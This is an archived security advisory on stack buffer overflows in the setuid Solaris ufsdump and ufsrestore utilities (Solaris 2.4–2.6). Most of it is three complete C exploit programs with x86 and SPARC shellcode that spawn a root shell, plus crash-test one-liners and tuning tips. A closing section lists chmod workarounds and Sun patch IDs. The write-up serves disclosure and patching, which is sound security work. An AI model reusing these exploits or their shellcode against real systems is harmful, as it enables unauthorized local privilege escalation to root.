COMMAND

    /usr/lib/fs/ufs/ufsdump (and /usr/lib/fs/ufs/ufsrestore)

SYSTEMS AFFECTED

    Solaris 2.5, 2.5.1, 2.6(i386 only)

PROBLEM

    Following info is based on Sun Security Advisory.  The  ufsrestore
    utility is used  to restore files  from backup media  created with
    the ufsdump command. A vulnerability has been found in  ufsrestore
    which, if exploited, would permit a user to become root.   Exploit
    follows.   Originally this  was found  by Seth  McGann.   Firstly,
    /usr/lib/fs/ufs/ufsdump will segfault if  passed a device name  of
    sufficent length.  Straight forward overflow.  When the  shellcode
    executes /bin/id, it says the egid=tty.  It may be nice to be tty,
    even   if   we    can't   be   root.      The   second    problem,
    /usr/lib/fs/ufs/ufsrestore  also  segfaults  when  passed a device
    name of sufficent length.   However, on inspection with gdb  it is
    evident that once the EIP is overwritten, execution jumps to  0x0.
    To test the vulnerability:

        /usr/lib/fs/ufs/ufsdump 1 `perl -e 'print "a" x 2000'`
        /usr/lib/fs/ufs/ufsrestore xf `perl -e 'print "a" x 2000'`

    However, the story doesn't stop there.  You will enjoy  additional
    text that was added by  Cheez Whiz with workable root  exploit and
    additional explainations.  However, step by step now.  Here's  the
    exploit for ufsdump:

    /* ufsdump.c
     * Description:  Overflows a buffer to give you EGID=tty.
     * At least that's what id reports.
     * The running shell thinks its still the user.  Maybe I'm
     * doing something wrong?  At any
     * rate,  here ya go, have fun.
     *
     *  smm@wpi.edu
     *  Thanks to: Jesse Schachter for the box, and
     *  Unknown parties for the shellcode. (probably Aleph1).
     */

    #include <stdio.h>
    static inline getesp() {
      __asm__(" movl %esp,%eax ");
    }
    main(int argc, char **argv) {
      int i,j,buffer,offset;
      long unsigned esp;
      char unsigned buf[4096];
      unsigned char
      shellcode[]=
          "\x55\x8b\xec\x83\xec\x08\xeb\x50\x33\xc0\xb0\x3b\xeb\x16\xc3"
            "\x33\xc0\x40\xeb\x10\xc3\x5e\x33\xdb\x89\x5e\x01\xc6\x46\x05"
            "\x07\x88\x7e\x06\xeb\x05\xe8\xec\xff\xff\xff\x9a\xff\xff\xff"
            "\xff\x0f\x0f\xc3\x5e\x33\xc0\x89\x76\x08\x88\x46\x07\x89\x46"
            "\x0c\x50\x8d\x46\x08\x50\x8b\x46\x08\x50\xe8\xbd\xff\xff\xff"
            "\x83\xc4\x0c\x6a\x01\xe8\xba\xff\xff\xff\x83\xc4\x04\xe8\xd4"
            "\xff\xff\xff/bin/sh";
      buffer=895;
      offset=3500;
      if (argc>1)buffer=atoi(argv[1]);
      if (argc>2)offset=atoi(argv[2]);
      for (i=0;i<buffer;i++)
          buf[i]=0x41;  /* inc ecx */
      j=0;
      for (i=buffer;i<buffer+strlen(shellcode);i++)
          buf[i]=shellcode[j++];
      esp=getesp()+offset;
      buf[i]=esp & 0xFF;
      buf[i+1]=(esp >> 8) & 0xFF;
      buf[i+2]=(esp >> 16) & 0xFF;
      buf[i+3]=(esp >> 24) & 0xFF;
      buf[i+4]=esp & 0xFF;
      buf[i+5]=(esp >> 8) & 0xFF;
      buf[i+6]=(esp >> 16) & 0xFF;
      buf[i+7]=(esp >> 24) & 0xFF;
      printf("Offset: 0x%x\n\n",esp);
      execl("/usr/lib/fs/ufs/ufsdump","ufsdump","1",buf,NULL);
    }

    ... and here's another that  won't work or will.   Original author
    had a  lot of  people contact  him and  tell him  that the exploit
    either works  on all  of their  machines, or  doesn't work at all.
    The way he originally wrote  it, it jumps into where  argv[0] sits
    above the stack.  Assuming that solaris works the same way as  bsd
    in this respect  (please correct me  here), the memory  looks like
    this:

        env strings
        argv strings
        env pointers
        argv pointers
        stack

    So, the exploit's  fake return address  was based upon  the offset
    between a  place in  the stack,  and the  first argv[] string. The
    problem with this is that if someone has a different number of env
    variables  defined,  the  number  of  env pointers will be higher,
    and the accuracy  of the guess  will be shot.  So, you can  either
    mess with the offset by passing an argument that is a multiple  of
    8, or you can rewrite it to jump into the stack.  (just gdb a core
    dump and do x/42 0xefffd000 or somewhere near that (sometimes  its
    at 0xdfffxxxx on some 2.4 boxes  i think) and hit enter until  you
    find the shellcode).

    // ufsrestore solaris 2.4, 2.5, 2.5.1, 2.6 exploit
    // by humble
    // thanks to plaguez for help

    #include <stdio.h>
    #include <stdlib.h>
    #include <sys/types.h>
    #include <unistd.h>

    #define BUF_LENGTH 300
    #define EXTRA 100
    #define STACK_OFFSET -600
    #define SPARC_NOP 0xac15a16e

    // normal shell code cept I added a bunch of sll's and add's
    // to get rid of a 2f '/' in there (from the sethi 0xbdcda, %l7)
    // I don't know sparc assembly so this might be dumb :P

    // also added code to do seteuid(0); setuid(0); from erik's buffer
    // overrun page

    u_char sparc_shellcode[] =
    "\x90\x08\x3f\xff\x82\x10\x20\x8d\x91\xd0\x20\x08"
    "\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
       "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
       "\xae\x10\x2b\xdc\xaf\x2d\xe0\x01\xae\x05\xe0\x01"
       "\xaf\x2d\xe0\x01\xae\x05\xe0\x01\xaf\x2d\xe0\x01"
       "\xaf\x2d\xe0\x01\xae\x05\xe0\x01\xaf\x2d\xe0\x01"
       "\xae\x05\xe0\x01\xaf\x2d\xe0\x01\xaf\x2d\xe0\x01"
       "\xae\x05\xe0\x01\xaf\x2d\xe0\x01\xaf\x2d\xe0\x0a"
       "\x90\x0b\x80\x0e"
       "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
       "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
       "\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";

       u_long get_sp(void)
       {
       __asm__("mov %sp,%i0 \n");
       }

       void main(int argc, char *argv[])
       {
       char buf[BUF_LENGTH + EXTRA + 8];
       long targ_addr;
       u_long *long_p;
       u_char *char_p;
       int i, code_length = strlen(sparc_shellcode),dso=0,a=0;

       if(argc > 1) dso=atoi(argv[1]);

       long_p =(u_long *) buf ;
       targ_addr = get_sp() - STACK_OFFSET - dso;
       for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
       *long_p++ = SPARC_NOP;

       char_p = (u_char *) long_p;

       for (i = 0; i < code_length; i++)
       *char_p++ = sparc_shellcode[i];

       long_p = (u_long *) char_p;

       for (i = 0; i < EXTRA / sizeof(u_long); i++)
       *long_p++ =targ_addr;

       printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
       targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);
       printf("hit ctrl-c and then type y\n");
       execl("/usr/lib/fs/ufs/ufsrestore", &buf[4],"if", "-",(char *) 0);
       perror("execl failed");
       }

    Seth experienced some difficulties with his exploit and Cheez Whiz
    thought he might  clarify some of  his questions.   To start with,
    yes,  the  i386  binary  of  ufsdump  in  Solaris  2.6  is  indeed
    vulnerable; Seth's shell code needs just a little bit more kung fu
    to get us  a root shell.   Just like rdist,  ufsdump runs most  of
    the time with an EUID and UID  of you, but retains a saved UID  of
    root (thanks to  its original SUID  root nature) which  it uses to
    toggle its EUID between you  and root as needed, but  only briefly
    and for small sections of code at a time.  What does this mean  to
    you, the  enterprising young  exploit writer?   You must  use this
    same mechanism to make sure your shell (or whatever else you  plan
    to do) gets exec'd as root.  But there is one other step you  must
    worry about.   The Bourne shell  under Solaris performs  checks of
    its EUID when it runs.  If the EUID of the shell is less than  100
    and does not  match the real  UID, the shell  drops its privileges
    by reverting its EUID back to its real UID.  Do you see where this
    is leading?  In  your shell code you  must do a seteuid(0)  to set
    your effective UID to 0 (chances are your EUID was not 0 when  the
    overflow happened,  as is  the case  with this  particular ufsdump
    hole), followed by a setuid(0)  to fully become root, followed  by
    your execve() to  get your shell.   A fully functional  exploit is
    included at the end.  This very  same shell code can be used in  a
    rdist exploit for Solaris 2.6 (i386)

    Here's the exploit code.  An offset argument of around -500  seems
    to work good.   The ufsdump error  message will spill  garbage all
    over your TTY, but just tap  your enter key a couple of  times and
    enjoy your root shell.

    /**
    ***  ufodump - i386 Solaris root exploit for /usr/lib/fs/ufs/ufsdump
    ***
    ***  Tested and confirmed under Solaris 2.6 i386
    ***
    ***  Usage:  % ufodump [offset]
    ***
    ***  where offset (if present) is the number of bytes to add to the stack
    ***  pointer to calculate your target return address; try -1000 to 1000 in
    ***  increments of 100 for starters.  Thanks go to Seth McGann for the
    ***  original bug report and a preliminary exploit.
    ***
    ***  Cheez Whiz
    ***  cheezbeast@hotmail.com
    ***
    ***  December 30, 1998
    **/

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>

    #define BUFLEN 1100
    #define NOP 0x90

    char shell[] =
    /*  0 */ "\xeb\x48"                         /* jmp springboard       */
    /* syscall:                                                          */
    /*  2 */ "\x9a\xff\xff\xff\xff\x07\xff"     /* lcall 0x7,0x0         */
    /*  9 */ "\xc3"                             /* ret                   */
    /* start:                                                            */
    /* 10 */ "\x5e"                             /* popl %esi             */
    /* 11 */ "\x31\xc0"                         /* xor %eax,%eax         */
    /* 13 */ "\x89\x46\xb4"                     /* movl %eax,-0x4c(%esi) */
    /* 16 */ "\x88\x46\xb9"                     /* movb %al,-0x47(%esi)  */
    /* 19 */ "\x88\x46\x07"                     /* movb %al,0x7(%esi)    */
    /* 22 */ "\x89\x46\x0c"                     /* movl %eax,0xc(%esi)   */
    /* seteuid:                                                          */
    /* 25 */ "\x31\xc0"                         /* xor %eax,%eax         */
    /* 27 */ "\x50"                             /* pushl %eax            */
    /* 28 */ "\xb0\x8d"                         /* movb $0x8d,%al        */
    /* 30 */ "\xe8\xdf\xff\xff\xff"             /* call syscall          */
    /* 35 */ "\x83\xc4\x04"                     /* addl $0x4,%esp        */
    /* setuid:                                                           */
    /* 38 */ "\x31\xc0"                         /* xor %eax,%eax         */
    /* 40 */ "\x50"                             /* pushl %eax            */
    /* 41 */ "\xb0\x17"                         /* movb $0x17,%al        */
    /* 43 */ "\xe8\xd2\xff\xff\xff"             /* call syscall          */
    /* 48 */ "\x83\xc4\x04"                     /* addl $0x4,%esp        */
    /* execve:                                                           */
    /* 51 */ "\x31\xc0"                         /* xor %eax,%eax         */
    /* 53 */ "\x50"                             /* pushl %eax            */
    /* 54 */ "\x8d\x5e\x08"                     /* leal 0x8(%esi),%ebx   */
    /* 57 */ "\x53"                             /* pushl %ebx            */
    /* 58 */ "\x8d\x1e"                         /* leal (%esi),%ebx      */
    /* 60 */ "\x89\x5e\x08"                     /* movl %ebx,0x8(%esi)   */
    /* 63 */ "\x53"                             /* pushl %ebx            */
    /* 64 */ "\xb0\x3b"                         /* movb $0x3b,%al        */
    /* 66 */ "\xe8\xbb\xff\xff\xff"             /* call syscall          */
    /* 71 */ "\x83\xc4\x0c"                     /* addl $0xc,%esp        */
    /* springboard:                                                      */
    /* 74 */ "\xe8\xbb\xff\xff\xff"             /* call start            */
    /* data:                                                             */
    /* 79 */ "\x2f\x62\x69\x6e\x2f\x73\x68\xff" /* DATA                  */
    /* 87 */ "\xff\xff\xff\xff"                 /* DATA                  */
    /* 91 */ "\xff\xff\xff\xff";                /* DATA                  */

    char buf[BUFLEN];
    unsigned long int nop, esp;
    long int offset = 0;

    unsigned long int
    get_esp()
    {
        __asm__("movl %esp,%eax");
    }

    void
    main (int argc, char *argv[])
    {
        int i;

        if (argc > 1)
            offset = strtol(argv[1], NULL, 0);

        if (argc > 2)
            nop = strtoul(argv[2], NULL, 0);
        else
            nop = 800;

        esp = get_esp();

        memset(buf, NOP, BUFLEN);
        memcpy(buf+nop, shell, strlen(shell));
        for (i = nop+strlen(shell); i < BUFLEN-4; i += 4)
            *((int *) &buf[i]) = esp+offset;

        printf("jumping to 0x%08x (0x%08x offset %d) [nop %d]\n",
               esp+offset, esp, offset, nop);
        execl("/usr/lib/fs/ufs/ufsdump", "ufsdump", "1", buf, NULL);

        printf("exec failed!\n");
        return;
    }

SOLUTION

    Patches 105722-01 and 105724-01 don't address this  vulnerability.
    Fix for now:

        chmod ug-s /usr/lib/fs/ufs/ufsdump
        chmod u-s /usr/lib/fs/ufs/ufsrestore

    The  following  patches  are  available  in  relation to the above
    problem (NOTE: ONE FOR 5.5.1 DOESN'T SEEM TO WORK AT ALL!!!!!):

        SunOS               Patch ID
        -----               --------
        SunOS 5.5.1         104490-05
        SunOS 5.5.1_x86     104491-04
        SunOS 5.5           103261-06
        SunOS 5.5_x86       103262-06

    As for  2.6 i286  exploit, Sun  reseolved these  issues in 2.7 (in
    2.7's  first  jumbo  patch).   Also,  patch  for  2.7  release  is
    available:

        106793-01 SPARC
        106794-01 x86

    There  is  a  cut  off  date  for  fixes  well before the CD's are
    actually  cut  to  allow  full  system  testing  and  many   other
    distribution related  things to  happen.    The fixes  for ufsdump
    missed that cut off  date and were thus  released as a patch  just
    after Solaris 7.  So, depending on your CD ship date, you may need
    that patch or not.